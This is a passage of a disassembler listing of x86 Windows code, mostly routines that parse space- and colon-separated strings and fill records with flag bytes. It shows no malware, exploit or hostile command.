		call	esi
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi
		mov	esi, [esp+374h]
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	edi
		push	offset dword_50DB4C
		push	offset dword_50DB4C
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	sub_43829E
; ---------------------------------------------------------------------------
		cmp	eax, 5
		jz	short loc_41C2C8
		cmp	eax, 4C3h
		jnz	short loc_41C2D1


loc_41C2C8:				; CODE XREF: ___:0041C2BFj
		push	edi
		push	edi
		push	edi
		push	esi
		call	sub_43829E
; ---------------------------------------------------------------------------


loc_41C2D1:				; CODE XREF: ___:0041C2C6j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_41C2E8
		cmp	eax, 4C3h
		jz	short loc_41C2E8
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: ___:0041C2D6j
					; ___:0041C2DDj
		xor	al, al
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C350:				; CODE XREF: ___:00401EE7j
		sub	esp, 354h
		mov	eax, off_444E8C
		mov	ecx, off_444E90
		mov	[esp+0], eax
		mov	al, byte_448F30
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_444E94
		rep stosd
		mov	ecx, off_444E84
		mov	[esp+10h], edx
		mov	dx, word_444E88
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		nop
		call	near ptr 27B0000h
		mov	esi, dword_511AB8
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	0
		push	0
		push	eax
		call	sub_4382A4
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41C438
		mov	esi, dword_5118D8


loc_41C41C:				; CODE XREF: ___:0041C436j
		push	7D0h
		call	esi
		push	0
		lea	ecx, [esp+130h]
		push	0
		push	ecx
		call	sub_4382A4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41C41C


loc_41C438:				; CODE XREF: ___:0041C414j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41C490	proc near		; CODE XREF: sub_401D93j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C490
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41C490	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+24h]
		push	6
		push	edx
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+20h]
		push	6
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+24h]
		push	8
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+28h]
		push	8
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+4Ch]
		push	8
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017EE
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C710	proc near		; CODE XREF: sub_401064j

var_111		= byte ptr -111h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_94		= byte ptr -94h
var_7C		= byte ptr -7Ch
var_67		= byte ptr -67h
var_52		= byte ptr -52h
var_3D		= byte ptr -3Dh
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41C710
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_40142E
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_40142E
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_40142E
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_40142E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401B4A
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		lea	ecx, [ebp+4]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C93C
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 6
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 7
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 8
		jz	short loc_41C8CC
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41C8CE
; ---------------------------------------------------------------------------


loc_41C8CC:				; CODE XREF: sub_41C710+1AFj
		xor	edi, edi


loc_41C8CE:				; CODE XREF: sub_41C710+1BAj
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013DE


loc_41C93C:				; CODE XREF: sub_41C710+C0j
		lea	ecx, [ebp+60h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CABB
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 9
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Ah
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Bh
		jz	short loc_41CA4B
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CA4D
; ---------------------------------------------------------------------------


loc_41CA4B:				; CODE XREF: sub_41C710+32Ej
		xor	edi, edi


loc_41CA4D:				; CODE XREF: sub_41C710+339j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013DE


loc_41CABB:				; CODE XREF: sub_41C710+23Fj
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CCF6
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Dh
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset word_44955A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 0Eh
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41CC5E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D312
; ---------------------------------------------------------------------------


loc_41CC5E:				; CODE XREF: sub_41C710+4D6j
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Fh
		jz	short loc_41CC86
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CC88
; ---------------------------------------------------------------------------


loc_41CC86:				; CODE XREF: sub_41C710+569j
		xor	edi, edi


loc_41CC88:				; CODE XREF: sub_41C710+574j
		lea	ecx, [esp+124h+var_10C]
		mov	byte ptr [esp+124h+var_4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41CCF6:				; CODE XREF: sub_41C710+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CE9B
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 10h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 11h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 12h
		jz	short loc_41CE0E
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CE10
; ---------------------------------------------------------------------------


loc_41CE0E:				; CODE XREF: sub_41C710+6F1j
		xor	edi, edi


loc_41CE10:				; CODE XREF: sub_41C710+6FCj
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41CE9B:				; CODE XREF: sub_41C710+5FCj
		lea	ecx, [ebp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D040
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 13h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 14h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 15h
		jz	short loc_41CFB3
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CFB5
; ---------------------------------------------------------------------------


loc_41CFB3:				; CODE XREF: sub_41C710+896j
		xor	edi, edi


loc_41CFB5:				; CODE XREF: sub_41C710+8A1j
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41D040:				; CODE XREF: sub_41C710+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D2A1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 16h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 17h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+128h+var_F4]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	offset word_44955A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 18h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41D1EC
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D312
; ---------------------------------------------------------------------------


loc_41D1EC:				; CODE XREF: sub_41C710+A64j
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 19h
		jz	short loc_41D214
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41D216
; ---------------------------------------------------------------------------


loc_41D214:				; CODE XREF: sub_41C710+AF7j
		xor	edi, edi


loc_41D216:				; CODE XREF: sub_41C710+B02j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_94]
		push	ecx
		lea	ecx, [edi+50h]
		call	sub_401FDC
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_41D2A1:				; CODE XREF: sub_41C710+116j
					; sub_41C710+295j ...
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_41D312:				; CODE XREF: sub_41C710+549j
					; sub_41C710+AD7j
		mov	ecx, [esp+124h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 114h
		retn	4
sub_41C710	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 310h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_401B4Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
